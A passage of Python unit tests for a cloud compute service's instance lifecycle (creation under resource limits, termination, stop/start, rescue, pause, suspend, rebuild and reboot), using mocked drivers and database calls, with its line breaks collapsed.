called = {'started': False, 'finished': False} def did_it_update_start(self2, context, values): called['started'] = True def did_it_update_finish(self2, context, values): called['finished'] = True self.stubs.Set(conductor_manager.ConductorManager, 'action_event_start', did_it_update_start) self.stubs.Set(conductor_manager.ConductorManager, 'action_event_finish', did_it_update_finish) @compute_manager.wrap_instance_event def fake_event(self, context, instance): pass fake_event(self.compute, self.context, instance=inst) self.assertTrue(called['started']) self.assertTrue(called['finished']) def test_wrap_instance_event_log_exception(self): inst = {"uuid": "fake_uuid"} called = {'started': False, 'finished': False, 'message': ''} def did_it_update_start(self2, context, values): called['started'] = True def did_it_update_finish(self2, context, values): called['finished'] = True called['message'] = values['message'] self.stubs.Set(conductor_manager.ConductorManager, 'action_event_start', did_it_update_start) self.stubs.Set(conductor_manager.ConductorManager, 'action_event_finish', did_it_update_finish) @compute_manager.wrap_instance_event def fake_event(self2, context, instance): raise exception.NovaException() self.assertRaises(exception.NovaException, fake_event, self.compute, self.context, instance=inst) self.assertTrue(called['started']) self.assertTrue(called['finished']) self.assertEqual('An unknown exception occurred.', called['message']) def test_object_compat(self): db_inst = fake_instance.fake_db_instance() @compute_manager.object_compat def test_fn(_self, context, instance): self.assertTrue(isinstance(instance, instance_obj.Instance)) self.assertEqual(instance.uuid, db_inst['uuid']) test_fn(None, self.context, instance=db_inst) def test_create_instance_with_img_ref_associates_config_drive(self): # Make sure create associates a config drive. instance = jsonutils.to_primitive(self._create_fake_instance( params={'config_drive': '1234', })) try: self.compute.run_instance(self.context, instance=instance) instances = db.instance_get_all(self.context) instance = instances[0] self.assertTrue(instance['config_drive']) finally: db.instance_destroy(self.context, instance['uuid']) def test_create_instance_associates_config_drive(self): # Make sure create associates a config drive. instance = jsonutils.to_primitive(self._create_fake_instance( params={'config_drive': '1234', })) try: self.compute.run_instance(self.context, instance=instance) instances = db.instance_get_all(self.context) instance = instances[0] self.assertTrue(instance['config_drive']) finally: db.instance_destroy(self.context, instance['uuid']) def test_create_instance_unlimited_memory(self): # Default of memory limit=None is unlimited. self.flags(reserved_host_disk_mb=0, reserved_host_memory_mb=0) self.rt.update_available_resource(self.context.elevated()) params = {"memory_mb": 999999999999} filter_properties = {'limits': {'memory_mb': None}} instance = self._create_fake_instance(params) self.compute.run_instance(self.context, instance=instance, filter_properties=filter_properties) self.assertEqual(999999999999, self.rt.compute_node['memory_mb_used']) def test_create_instance_unlimited_disk(self): self.flags(reserved_host_disk_mb=0, reserved_host_memory_mb=0) self.rt.update_available_resource(self.context.elevated()) params = {"root_gb": 999999999999, "ephemeral_gb": 99999999999} filter_properties = {'limits': {'disk_gb': None}} instance = self._create_fake_instance(params) self.compute.run_instance(self.context, instance=instance, filter_properties=filter_properties) def test_create_multiple_instances_then_starve(self): self.flags(reserved_host_disk_mb=0, reserved_host_memory_mb=0) self.rt.update_available_resource(self.context.elevated()) filter_properties = {'limits': {'memory_mb': 4096, 'disk_gb': 1000}} params = {"memory_mb": 1024, "root_gb": 128, "ephemeral_gb": 128} instance = self._create_fake_instance(params) self.compute.run_instance(self.context, instance=instance, filter_properties=filter_properties) self.assertEquals(1024, self.rt.compute_node['memory_mb_used']) self.assertEquals(256, self.rt.compute_node['local_gb_used']) params = {"memory_mb": 2048, "root_gb": 256, "ephemeral_gb": 256} instance = self._create_fake_instance(params) self.compute.run_instance(self.context, instance=instance, filter_properties=filter_properties) self.assertEquals(3072, self.rt.compute_node['memory_mb_used']) self.assertEquals(768, self.rt.compute_node['local_gb_used']) params = {"memory_mb": 8192, "root_gb": 8192, "ephemeral_gb": 8192} instance = self._create_fake_instance(params) self.assertRaises(exception.ComputeResourcesUnavailable, self.compute.run_instance, self.context, instance=instance, filter_properties=filter_properties) def test_create_instance_with_oversubscribed_ram(self): # Test passing of oversubscribed ram policy from the scheduler. self.flags(reserved_host_disk_mb=0, reserved_host_memory_mb=0) self.rt.update_available_resource(self.context.elevated()) # get total memory as reported by virt driver: resources = self.compute.driver.get_available_resource(NODENAME) total_mem_mb = resources['memory_mb'] oversub_limit_mb = total_mem_mb * 1.5 instance_mb = int(total_mem_mb * 1.45) # build an instance, specifying an amount of memory that exceeds # total_mem_mb, but is less than the oversubscribed limit: params = {"memory_mb": instance_mb, "root_gb": 128, "ephemeral_gb": 128} instance = self._create_fake_instance(params) limits = {'memory_mb': oversub_limit_mb} filter_properties = {'limits': limits} self.compute.run_instance(self.context, instance=instance, filter_properties=filter_properties) self.assertEqual(instance_mb, self.rt.compute_node['memory_mb_used']) def test_create_instance_with_oversubscribed_ram_fail(self): """Test passing of oversubscribed ram policy from the scheduler, but with insufficient memory. """ self.flags(reserved_host_disk_mb=0, reserved_host_memory_mb=0) self.rt.update_available_resource(self.context.elevated()) # get total memory as reported by virt driver: resources = self.compute.driver.get_available_resource(NODENAME) total_mem_mb = resources['memory_mb'] oversub_limit_mb = total_mem_mb * 1.5 instance_mb = int(total_mem_mb * 1.55) # build an instance, specifying an amount of memory that exceeds # total_mem_mb, but is less than the oversubscribed limit: params = {"memory_mb": instance_mb, "root_gb": 128, "ephemeral_gb": 128} instance = self._create_fake_instance(params) filter_properties = {'limits': {'memory_mb': oversub_limit_mb}} self.assertRaises(exception.ComputeResourcesUnavailable, self.compute.run_instance, self.context, instance=instance, filter_properties=filter_properties) def test_create_instance_with_oversubscribed_cpu(self): # Test passing of oversubscribed cpu policy from the scheduler. self.flags(reserved_host_disk_mb=0, reserved_host_memory_mb=0) self.rt.update_available_resource(self.context.elevated()) limits = {'vcpu': 3} filter_properties = {'limits': limits} # get total memory as reported by virt driver: resources = self.compute.driver.get_available_resource(NODENAME) self.assertEqual(1, resources['vcpus']) # build an instance, specifying an amount of memory that exceeds # total_mem_mb, but is less than the oversubscribed limit: params = {"memory_mb": 10, "root_gb": 1, "ephemeral_gb": 1, "vcpus": 2} instance = self._create_fake_instance(params) self.compute.run_instance(self.context, instance=instance, filter_properties=filter_properties) self.assertEqual(2, self.rt.compute_node['vcpus_used']) # create one more instance: params = {"memory_mb": 10, "root_gb": 1, "ephemeral_gb": 1, "vcpus": 1} instance = self._create_fake_instance(params) self.compute.run_instance(self.context, instance=instance, filter_properties=filter_properties) self.assertEqual(3, self.rt.compute_node['vcpus_used']) # delete the instance: instance['vm_state'] = vm_states.DELETED self.rt.update_usage(self.context, instance=instance) self.assertEqual(2, self.rt.compute_node['vcpus_used']) # now oversubscribe vcpus and fail: params = {"memory_mb": 10, "root_gb": 1, "ephemeral_gb": 1, "vcpus": 2} instance = self._create_fake_instance(params) limits = {'vcpu': 3} filter_properties = {'limits': limits} self.assertRaises(exception.ComputeResourcesUnavailable, self.compute.run_instance, self.context, instance=instance, filter_properties=filter_properties) def test_create_instance_with_oversubscribed_disk(self): # Test passing of oversubscribed disk policy from the scheduler. self.flags(reserved_host_disk_mb=0, reserved_host_memory_mb=0) self.rt.update_available_resource(self.context.elevated()) # get total memory as reported by virt driver: resources = self.compute.driver.get_available_resource(NODENAME) total_disk_gb = resources['local_gb'] oversub_limit_gb = total_disk_gb * 1.5 instance_gb = int(total_disk_gb * 1.45) # build an instance, specifying an amount of disk that exceeds # total_disk_gb, but is less than the oversubscribed limit: params = {"root_gb": instance_gb, "memory_mb": 10} instance = self._create_fake_instance(params) limits = {'disk_gb': oversub_limit_gb} filter_properties = {'limits': limits} self.compute.run_instance(self.context, instance=instance, filter_properties=filter_properties) self.assertEqual(instance_gb, self.rt.compute_node['local_gb_used']) def test_create_instance_with_oversubscribed_disk_fail(self): """Test passing of oversubscribed disk policy from the scheduler, but with insufficient disk. """ self.flags(reserved_host_disk_mb=0, reserved_host_memory_mb=0) self.rt.update_available_resource(self.context.elevated()) # get total memory as reported by virt driver: resources = self.compute.driver.get_available_resource(NODENAME) total_disk_gb = resources['local_gb'] oversub_limit_gb = total_disk_gb * 1.5 instance_gb = int(total_disk_gb * 1.55) # build an instance, specifying an amount of disk that exceeds # total_disk_gb, but is less than the oversubscribed limit: params = {"root_gb": instance_gb, "memory_mb": 10} instance = self._create_fake_instance(params) limits = {'disk_gb': oversub_limit_gb} filter_properties = {'limits': limits} self.assertRaises(exception.ComputeResourcesUnavailable, self.compute.run_instance, self.context, instance=instance, filter_properties=filter_properties) def test_create_instance_without_node_param(self): instance = self._create_fake_instance({'node': None}) self.compute.run_instance(self.context, instance=instance) instances = db.instance_get_all(self.context) instance = instances[0] self.assertEqual(NODENAME, instance['node']) def test_create_instance_no_image(self): # Create instance with no image provided. params = {'image_ref': ''} instance = self._create_fake_instance(params) self.compute.run_instance(self.context, instance=instance) self._assert_state({'vm_state': vm_states.ACTIVE, 'task_state': None}) def test_default_access_ip(self): self.flags(default_access_ip_network_name='test1') fake_network.unset_stub_network_methods(self.stubs) instance = jsonutils.to_primitive(self._create_fake_instance()) orig_update = self.compute._instance_update # Make sure the access_ip_* updates happen in the same DB # update as the set to ACTIVE. def _instance_update(ctxt, instance_uuid, **kwargs): if kwargs.get('vm_state', None) == vm_states.ACTIVE: self.assertEqual(kwargs['access_ip_v4'], '192.168.1.100') self.assertEqual(kwargs['access_ip_v6'], '2001:db8:0:1::1') return orig_update(ctxt, instance_uuid, **kwargs) self.stubs.Set(self.compute, '_instance_update', _instance_update) try: self.compute.run_instance(self.context, instance=instance, is_first_time=True) instances = db.instance_get_all(self.context) instance = instances[0] self.assertEqual(instance['access_ip_v4'], '192.168.1.100') self.assertEqual(instance['access_ip_v6'], '2001:db8:0:1::1') finally: db.instance_destroy(self.context, instance['uuid']) def test_no_default_access_ip(self): instance = jsonutils.to_primitive(self._create_fake_instance()) try: self.compute.run_instance(self.context, instance=instance, is_first_time=True) instances = db.instance_get_all(self.context) instance = instances[0] self.assertFalse(instance['access_ip_v4']) self.assertFalse(instance['access_ip_v6']) finally: db.instance_destroy(self.context, instance['uuid']) def test_fail_to_schedule_persists(self): # check the persistence of the ERROR(scheduling) state. self._create_instance(params={'vm_state': vm_states.ERROR, 'task_state': task_states.SCHEDULING}) #check state is failed even after the periodic poll self.compute.periodic_tasks(context.get_admin_context()) self._assert_state({'vm_state': vm_states.ERROR, 'task_state': task_states.SCHEDULING}) def test_run_instance_setup_block_device_mapping_fail(self): """block device mapping failure test. Make sure that when there is a block device mapping problem, the instance goes to ERROR state, keeping the task state """ def fake(*args, **kwargs): raise test.TestingException() self.stubs.Set(nova.compute.manager.ComputeManager, '_setup_block_device_mapping', fake) instance = self._create_instance() self.assertRaises(test.TestingException, self.compute.run_instance, self.context, instance=instance) #check state is failed even after the periodic poll self._assert_state({'vm_state': vm_states.ERROR, 'task_state': None}) self.compute.periodic_tasks(context.get_admin_context()) self._assert_state({'vm_state': vm_states.ERROR, 'task_state': None}) def test_run_instance_spawn_fail(self): """spawn failure test. Make sure that when there is a spawning problem, the instance goes to ERROR state, keeping the task state. """ def fake(*args, **kwargs): raise test.TestingException() self.stubs.Set(self.compute.driver, 'spawn', fake) instance = self._create_instance() self.assertRaises(test.TestingException, self.compute.run_instance, self.context, instance=instance) #check state is failed even after the periodic poll self._assert_state({'vm_state': vm_states.ERROR, 'task_state': None}) self.compute.periodic_tasks(context.get_admin_context()) self._assert_state({'vm_state': vm_states.ERROR, 'task_state': None}) def test_run_instance_dealloc_network_instance_not_found(self): """spawn network deallocate test. Make sure that when an instance is not found during spawn that the network is deallocated """ instance = self._create_instance() def fake(*args, **kwargs): raise exception.InstanceNotFound(instance_id="fake") self.stubs.Set(self.compute.driver, 'spawn', fake) self.mox.StubOutWithMock(self.compute, '_deallocate_network') self.compute._deallocate_network(mox.IgnoreArg(), mox.IgnoreArg()) self.mox.ReplayAll() self.compute.run_instance(self.context, instance=instance) def test_run_instance_bails_on_missing_instance(self): # Make sure that run_instance() will quickly ignore a deleted instance called = {} instance = self._create_instance() def fake_instance_update(self, *a, **args): called['instance_update'] = True raise exception.InstanceNotFound(instance_id='foo') self.stubs.Set(self.compute, '_instance_update', fake_instance_update) self.compute.run_instance(self.context, instance) self.assertIn('instance_update', called) def test_can_terminate_on_error_state(self): # Make sure that the instance can be terminated in ERROR state. #check failed to schedule --> terminate instance = self._create_instance(params={'vm_state': vm_states.ERROR}) self.compute.terminate_instance(self.context, instance=instance) self.assertRaises(exception.InstanceNotFound, db.instance_get_by_uuid, self.context, instance['uuid']) # Double check it's not there for admins, either. self.assertRaises(exception.InstanceNotFound, db.instance_get_by_uuid, self.context.elevated(), instance['uuid']) def test_run_terminate(self): # Make sure it is possible to run and terminate instance. instance = jsonutils.to_primitive(self._create_fake_instance()) self.compute.run_instance(self.context, instance=instance) instances = db.instance_get_all(self.context) LOG.info(_("Running instances: %s"), instances) self.assertEqual(len(instances), 1) self.compute.terminate_instance(self.context, instance=instance) instances = db.instance_get_all(self.context) LOG.info(_("After terminating instances: %s"), instances) self.assertEqual(len(instances), 0) def test_run_terminate_with_vol_attached(self): """Make sure it is possible to run and terminate instance with volume attached """ instance = jsonutils.to_primitive(self._create_fake_instance()) self.compute.run_instance(self.context, instance=instance) instances = db.instance_get_all(self.context) LOG.info(_("Running instances: %s"), instances) self.assertEqual(len(instances), 1) def fake_check_attach(*args, **kwargs): pass def fake_reserve_volume(*args, **kwargs): pass def fake_volume_get(self, context, volume_id): return {'id': volume_id} self.stubs.Set(cinder.API, 'get', fake_volume_get) self.stubs.Set(cinder.API, 'check_attach', fake_check_attach) self.stubs.Set(cinder.API, 'reserve_volume', fake_reserve_volume) self.compute_api.attach_volume(self.context, instance, 1, '/dev/vdc') self.compute.terminate_instance(self.context, instance=instance) instances = db.instance_get_all(self.context) LOG.info(_("After terminating instances: %s"), instances) self.assertEqual(len(instances), 0) bdms = db.block_device_mapping_get_all_by_instance(self.context, instance['uuid']) self.assertEqual(len(bdms), 0) def test_run_terminate_no_image(self): """ Make sure instance started without image (from volume) can be termintad without issues """ params = {'image_ref': ''} instance = self._create_fake_instance(params) self.compute.run_instance(self.context, instance=instance) self._assert_state({'vm_state': vm_states.ACTIVE, 'task_state': None}) self.compute.terminate_instance(self.context, instance=instance) instances = db.instance_get_all(self.context) self.assertEqual(len(instances), 0) def test_terminate_no_network(self): # This is as reported in LP bug 1008875 instance = jsonutils.to_primitive(self._create_fake_instance()) self.compute.run_instance(self.context, instance=instance) instances = db.instance_get_all(self.context) LOG.info(_("Running instances: %s"), instances) self.assertEqual(len(instances), 1) # Make it look like this is no instance self.mox.StubOutWithMock(self.compute, '_get_instance_nw_info') self.compute._get_instance_nw_info( mox.IgnoreArg(), mox.IgnoreArg()).AndRaise( exception.NetworkNotFound(network_id='fake') ) self.mox.ReplayAll() self.compute.terminate_instance(self.context, instance=instance) instances = db.instance_get_all(self.context) LOG.info(_("After terminating instances: %s"), instances) self.assertEqual(len(instances), 0) def test_terminate_no_fixed_ips(self): # This is as reported in LP bug 1192893 instance = jsonutils.to_primitive(self._create_fake_instance()) self.compute.run_instance(self.context, instance=instance) instances = db.instance_get_all(self.context) LOG.info(_("Running instances: %s"), instances) self.assertEqual(len(instances), 1) self.mox.StubOutWithMock(self.compute, '_get_instance_nw_info') self.compute._get_instance_nw_info( mox.IgnoreArg(), mox.IgnoreArg()).AndRaise( exception.NoMoreFixedIps() ) self.mox.ReplayAll() self.compute.terminate_instance(self.context, instance=instance) instances = db.instance_get_all(self.context) LOG.info(_("After terminating instances: %s"), instances) self.assertEqual(len(instances), 0) def test_terminate_failure_leaves_task_state(self): """Ensure that a failure in terminate_instance does not result in the task state being reverted from DELETING (see LP 1046236). """ instance = jsonutils.to_primitive(self._create_fake_instance()) self.compute.run_instance(self.context, instance=instance) instances = db.instance_get_all(self.context) LOG.info(_("Running instances: %s"), instances) self.assertEqual(len(instances), 1) # Network teardown fails ungracefully self.mox.StubOutWithMock(self.compute, '_get_instance_nw_info') self.compute._get_instance_nw_info( mox.IgnoreArg(), mox.IgnoreArg()).AndRaise(TypeError()) self.mox.ReplayAll() db.instance_update(self.context, instance['uuid'], {"task_state": task_states.DELETING}) try: self.compute.terminate_instance(self.context, instance=instance) except TypeError: pass instances = db.instance_get_all(self.context) LOG.info(_("After terminating instances: %s"), instances) self.assertEqual(len(instances), 1) self.assertEqual(instances[0]['task_state'], 'deleting') def test_run_terminate_timestamps(self): # Make sure timestamps are set for launched and destroyed. instance = jsonutils.to_primitive(self._create_fake_instance()) instance['launched_at'] = None self.assertEqual(instance['launched_at'], None) self.assertEqual(instance['deleted_at'], None) launch = timeutils.utcnow() self.compute.run_instance(self.context, instance=instance) instance = db.instance_get_by_uuid(self.context, instance['uuid']) self.assert_(instance['launched_at'] > launch) self.assertEqual(instance['deleted_at'], None) terminate = timeutils.utcnow() self.compute.terminate_instance(self.context, instance=instance) with utils.temporary_mutation(self.context, read_deleted='only'): instance = db.instance_get_by_uuid(self.context, instance['uuid']) self.assert_(instance['launched_at'] < terminate) self.assert_(instance['deleted_at'] > terminate) def test_run_terminate_deallocate_net_failure_sets_error_state(self): instance = jsonutils.to_primitive(self._create_fake_instance()) self.compute.run_instance(self.context, instance=instance) instances = db.instance_get_all(self.context) LOG.info(_("Running instances: %s"), instances) self.assertEqual(len(instances), 1) def _fake_deallocate_network(*args, **kwargs): raise Exception() self.stubs.Set(self.compute, '_deallocate_network', _fake_deallocate_network) try: self.compute.terminate_instance(self.context, instance=instance) except Exception: pass instance = db.instance_get_by_uuid(self.context, instance['uuid']) self.assertEqual(instance['vm_state'], vm_states.ERROR) def test_stop(self): # Ensure instance can be stopped. instance = jsonutils.to_primitive(self._create_fake_instance()) self.compute.run_instance(self.context, instance=instance) db.instance_update(self.context, instance['uuid'], {"task_state": task_states.POWERING_OFF}) inst_uuid = instance['uuid'] extra = ['system_metadata', 'metadata'] inst_obj = instance_obj.Instance.get_by_uuid(self.context, inst_uuid, expected_attrs=extra) self.compute.stop_instance(self.context, instance=inst_obj) self.compute.terminate_instance(self.context, instance=instance) def test_start(self): # Ensure instance can be started. instance = jsonutils.to_primitive(self._create_fake_instance()) self.compute.run_instance(self.context, instance=instance) db.instance_update(self.context, instance['uuid'], {"task_state": task_states.POWERING_OFF}) extra = ['system_metadata', 'metadata'] inst_uuid = instance['uuid'] inst_obj = instance_obj.Instance.get_by_uuid(self.context, inst_uuid, expected_attrs=extra) self.compute.stop_instance(self.context, instance=inst_obj) inst_obj.task_state = task_states.POWERING_ON inst_obj.save(self.context) self.compute.start_instance(self.context, instance=inst_obj) self.compute.terminate_instance(self.context, instance=instance) def test_stop_start_no_image(self): params = {'image_ref': ''} instance = self._create_fake_instance(params) self.compute.run_instance(self.context, instance=instance) db.instance_update(self.context, instance['uuid'], {"task_state": task_states.POWERING_OFF}) extra = ['system_metadata', 'metadata'] inst_uuid = instance['uuid'] inst_obj = instance_obj.Instance.get_by_uuid(self.context, inst_uuid, expected_attrs=extra) self.compute.stop_instance(self.context, instance=inst_obj) inst_obj.task_state = task_states.POWERING_ON inst_obj.save(self.context) self.compute.start_instance(self.context, instance=inst_obj) self.compute.terminate_instance(self.context, instance=instance) def test_rescue(self): # Ensure instance can be rescued and unrescued. called = {'rescued': False, 'unrescued': False} def fake_rescue(self, context, instance_ref, network_info, image_meta, rescue_password): called['rescued'] = True self.stubs.Set(nova.virt.fake.FakeDriver, 'rescue', fake_rescue) def fake_unrescue(self, instance_ref, network_info): called['unrescued'] = True self.stubs.Set(nova.virt.fake.FakeDriver, 'unrescue', fake_unrescue) instance = jsonutils.to_primitive(self._create_fake_instance()) instance_uuid = instance['uuid'] self.compute.run_instance(self.context, instance=instance) db.instance_update(self.context, instance_uuid, {"task_state": task_states.RESCUING}) self.compute.rescue_instance(self.context, instance=instance) self.assertTrue(called['rescued']) db.instance_update(self.context, instance_uuid, {"task_state": task_states.UNRESCUING}) self.compute.unrescue_instance(self.context, instance=instance) self.assertTrue(called['unrescued']) self.compute.terminate_instance(self.context, instance=instance) def test_rescue_handle_err(self): # If the driver fails to rescue, instance state should remain the same # and the exception should be converted to InstanceNotRescuable instance = jsonutils.to_primitive(self._create_fake_instance()) self.mox.StubOutWithMock(self.compute, '_get_rescue_image_ref') self.mox.StubOutWithMock(nova.virt.fake.FakeDriver, 'rescue') self.compute._get_rescue_image_ref( mox.IgnoreArg(), instance).AndReturn('resc_image_ref') nova.virt.fake.FakeDriver.rescue( mox.IgnoreArg(), instance, [], mox.IgnoreArg(), 'password' ).AndRaise(RuntimeError("Try again later")) self.mox.ReplayAll() expected_message = ('Instance %s cannot be rescued: ' 'Driver Error: Try again later' % instance['uuid']) instance['vm_state'] = 'some_random_state' with testtools.ExpectedException( exception.InstanceNotRescuable, expected_message): self.compute.rescue_instance( self.context, instance=instance, rescue_password='password') self.assertEqual('some_random_state', instance['vm_state']) def test_power_on(self): # Ensure instance can be powered on. called = {'power_on': False} def fake_driver_power_on(self, context, instance, network_info, block_device_info): called['power_on'] = True self.stubs.Set(nova.virt.fake.FakeDriver, 'power_on', fake_driver_power_on) instance = jsonutils.to_primitive(self._create_fake_instance()) self.compute.run_instance(self.context, instance=instance) extra = ['system_metadata', 'metadata'] inst_obj = instance_obj.Instance.get_by_uuid(self.context, instance['uuid'], expected_attrs=extra) inst_obj.task_state = task_states.POWERING_ON inst_obj.save(self.context) self.compute.start_instance(self.context, instance=inst_obj) self.assertTrue(called['power_on']) self.compute.terminate_instance(self.context, instance=inst_obj) def test_power_off(self): # Ensure instance can be powered off. called = {'power_off': False} def fake_driver_power_off(self, instance): called['power_off'] = True self.stubs.Set(nova.virt.fake.FakeDriver, 'power_off', fake_driver_power_off) instance = jsonutils.to_primitive(self._create_fake_instance()) self.compute.run_instance(self.context, instance=instance) extra = ['system_metadata', 'metadata'] inst_obj = instance_obj.Instance.get_by_uuid(self.context, instance['uuid'], expected_attrs=extra) inst_obj.task_state = task_states.POWERING_OFF inst_obj.save(self.context) self.compute.stop_instance(self.context, instance=inst_obj) self.assertTrue(called['power_off']) self.compute.terminate_instance(self.context, instance=inst_obj) def test_pause(self): # Ensure instance can be paused and unpaused. instance = jsonutils.to_primitive(self._create_fake_instance()) self.compute.run_instance(self.context, instance=instance) db.instance_update(self.context, instance['uuid'], {"task_state": task_states.PAUSING}) self.compute.pause_instance(self.context, instance=instance) db.instance_update(self.context, instance['uuid'], {"task_state": task_states.UNPAUSING}) self.compute.unpause_instance(self.context, instance=instance) self.compute.terminate_instance(self.context, instance=instance) def test_suspend(self): # ensure instance can be suspended and resumed. instance = jsonutils.to_primitive(self._create_fake_instance()) self.compute.run_instance(self.context, instance=instance) db.instance_update(self.context, instance['uuid'], {"task_state": task_states.SUSPENDING}) self.compute.suspend_instance(self.context, instance=instance) db.instance_update(self.context, instance['uuid'], {"task_state": task_states.RESUMING}) self.compute.resume_instance(self.context, instance=instance) self.compute.terminate_instance(self.context, instance=instance) def test_suspend_error(self): # Ensure vm_state is ERROR when suspend error occurs. def fake(*args, **kwargs): raise test.TestingException() self.stubs.Set(self.compute.driver, 'suspend', fake) instance = jsonutils.to_primitive(self._create_fake_instance()) instance_uuid = instance['uuid'] self.compute.run_instance(self.context, instance=instance) self.assertRaises(test.TestingException, self.compute.suspend_instance, self.context, instance=instance) instance = db.instance_get_by_uuid(self.context, instance_uuid) self.assertEqual(instance['vm_state'], vm_states.ERROR) self.compute.terminate_instance(self.context, instance=instance) def test_rebuild(self): # Ensure instance can be rebuilt. instance = jsonutils.to_primitive(self._create_fake_instance()) image_ref = instance['image_ref'] sys_metadata = db.instance_system_metadata_get(self.context, instance['uuid']) self.compute.run_instance(self.context, instance=instance) db.instance_update(self.context, instance['uuid'], {"task_state": task_states.REBUILDING}) self.compute.rebuild_instance(self.context, instance, image_ref, image_ref, injected_files=[], new_pass="new_password", orig_sys_metadata=sys_metadata, bdms=[]) self.compute.terminate_instance(self.context, instance=instance) def test_rebuild_no_image(self): # Ensure instance can be rebuilt when started with no image. params = {'image_ref': ''} instance = self._create_fake_instance(params) sys_metadata = db.instance_system_metadata_get(self.context, instance['uuid']) self.compute.run_instance(self.context, instance=instance) db.instance_update(self.context, instance['uuid'], {"task_state": task_states.REBUILDING}) self.compute.rebuild_instance(self.context, instance, '', '', injected_files=[], new_pass="new_password", orig_sys_metadata=sys_metadata) self.compute.terminate_instance(self.context, instance=instance) def test_rebuild_launched_at_time(self): # Ensure instance can be rebuilt. old_time = datetime.datetime(2012, 4, 1) cur_time = datetime.datetime(2012, 12, 21, 12, 21) timeutils.set_time_override(old_time) instance = jsonutils.to_primitive(self._create_fake_instance()) instance_uuid = instance['uuid'] image_ref = instance['image_ref'] self.compute.run_instance(self.context, instance=instance) timeutils.set_time_override(cur_time) db.instance_update(self.context, instance['uuid'], {"task_state": task_states.REBUILDING}) self.compute.rebuild_instance(self.context, instance, image_ref, image_ref, injected_files=[], new_pass="new_password", bdms=[]) instance = db.instance_get_by_uuid(self.context, instance_uuid,) self.assertEquals(cur_time, instance['launched_at']) self.compute.terminate_instance(self.context, instance=jsonutils.to_primitive(instance)) def _test_reboot(self, soft, legacy_nwinfo_driver, test_delete=False, test_unrescue=False, fail_reboot=False, fail_running=False): # This is a true unit test, so we don't need the network stubs. fake_network.unset_stub_network_methods(self.stubs) self.mox.StubOutWithMock(self.compute, '_get_instance_nw_info') self.mox.StubOutWithMock(self.compute, '_notify_about_instance_usage') self.mox.StubOutWithMock(self.compute, '_instance_update') self.mox.StubOutWithMock(db, 'instance_update_and_get_original') self.mox.StubOutWithMock(self.compute, '_get_power_state') self.mox.StubOutWithMock(self.compute.driver, 'legacy_nwinfo') self.mox.StubOutWithMock(self.compute.driver, 'reboot') # FIXME(comstud): I don't feel like the context needs to # be elevated at all. Hopefully remove elevated from # reboot_instance and remove the stub here in a future patch. # econtext would just become self.context below then. econtext = self.context.elevated() db_instance = fake_instance.fake_db_instance( **dict(uuid='fake-instance', power_state=power_state.NOSTATE, vm_state=vm_states.ACTIVE, launched_at=timeutils.utcnow())) instance = instance_obj.Instance._from_db_object( econtext, instance_obj.Instance(), db_instance) updated_dbinstance1 = fake_instance.fake_db_instance( **dict(uuid='updated-instance1', power_state=10003, vm_state=vm_states.ACTIVE, launched_at=timeutils.utcnow())) updated_dbinstance2 = fake_instance.fake_db_instance( **dict(uuid='updated-instance2', power_state=10003, vm_state=vm_states.ACTIVE, launched_at=timeutils.utcnow())) if test_unrescue: instance['vm_state'] = vm_states.RESCUED instance.obj_reset_changes() fake_nw_model = network_model.NetworkInfo() self.mox.StubOutWithMock(fake_nw_model, 'legacy') fake_block_dev_info = 'fake_block_dev_info' fake_power_state1 = 10001 fake_power_state2 = power_state.RUNNING fake_power_state3 = 10002 reboot_type = soft and 'SOFT' or 'HARD' # Beginning of calls we expect. self.mox.StubOutWithMock(self.context, 'elevated') self.context.elevated().AndReturn(econtext) self.compute._get_instance_nw_info(econtext, instance).AndReturn( fake_nw_model) self.compute._notify_about_instance_usage(econtext, instance, 'reboot.start') self.compute._get_power_state(econtext, instance).AndReturn(fake_power_state1) db.instance_update_and_get_original(econtext, instance['uuid'], {'power_state': fake_power_state1}, update_cells=False, ).AndReturn((None, updated_dbinstance1)) # Reboot should check the driver to see if legacy nwinfo is # needed. If it is, the model's legacy() method should be # called and the result passed to driver.reboot. If the # driver wants the model, we pass the model. self.compute.driver.legacy_nwinfo().AndReturn(legacy_nwinfo_driver) if legacy_nwinfo_driver: expected_nw_info = 'legacy-nwinfo' fake_nw_model.legacy().AndReturn(expected_nw_info) else: expected_nw_info = fake_nw_model # Annoying. driver.reboot is wrapped in a try/except, and # doesn't re-raise. It eats exception generated by mox if # this is called with the wrong args, so we have to hack # around it. reboot_call_info = {} expected_call_info = { 'args': (econtext, instance, expected_nw_info, reboot_type), 'kwargs': {'block_device_info': fake_block_dev_info}} def fake_reboot(*args, **kwargs): reboot_call_info['args'] = args reboot_call_info['kwargs'] = kwargs # NOTE(sirp): Since `bad_volumes_callback` is a function defined # within `reboot_instance`, we don't have access to its value and # can't stub it out, thus we skip that comparison. kwargs.pop('bad_volumes_callback') if fail_reboot: raise exception.InstanceNotFound(instance_id='instance-0000') self.stubs.Set(self.compute.driver, 'reboot', fake_reboot) # Power state should be updated again if not fail_reboot or fail_running: new_power_state = fake_power_state2 self.compute._get_power_state(econtext, instance).AndReturn(fake_power_state2) else: new_power_state = fake_power_state3 self.compute._get_power_state(econtext, instance).AndReturn(fake_power_state3) if test_delete: db.instance_update_and_get_original( econtext, updated_dbinstance1['uuid'], {'power_state': new_power_state, 'task_state': None, 'vm_state': vm_states.ACTIVE}, update_cells=False, ).AndRaise(exception.InstanceNotFound( instance_id=instance['uuid'])) self.compute._notify_about_instance_usage( econtext, instance, 'reboot.end') elif fail_reboot and not fail_running: db.instance_update_and_get_original( econtext, updated_dbinstance1['uuid'], {'vm_state': vm_states.ERROR}, update_cells=False, ).AndRaise(exception.InstanceNotFound( instance_id=instance['uuid'])) else: db.instance_update_and_get_original( econtext, updated_dbinstance1['uuid'], {'power_state': new_power_state, 'task_state': None, 'vm_state': vm_states.ACTIVE}, update_cells=False, ).AndReturn((None, updated_dbinstance2)) self.compute._notify_about_instance_usage( econtext, instance, 'reboot.end') self.mox.ReplayAll() if not fail_reboot or fail_running: self.compute.reboot_instance(self.context, instance=instance, block_device_info=fake_block_dev_info, reboot_type=reboot_type) else: self.assertRaises(exception.InstanceNotFound, self.compute.reboot_instance, self.context, instance=instance, block_device_info=fake_block_dev_info, reboot_type=reboot_type) self.assertEqual(expected_call_info, reboot_call_info) def test_reboot_soft(self): self._test_reboot(True, False) def test_reboot_soft_and_delete(self): self._test_reboot(True, False, True) def test_reboot_soft_and_rescued(self): self._test_reboot(True, False, False, True) def test_reboot_soft_and_delete_and_rescued(self): self._test_reboot(True, False, True, True) def test_reboot_hard(self): self._test_reboot(False, False) def test_reboot_hard_and_delete(self): self._test_reboot(False, False, True) def test_reboot_hard_and_rescued(self): self._test_reboot(False, False, False, 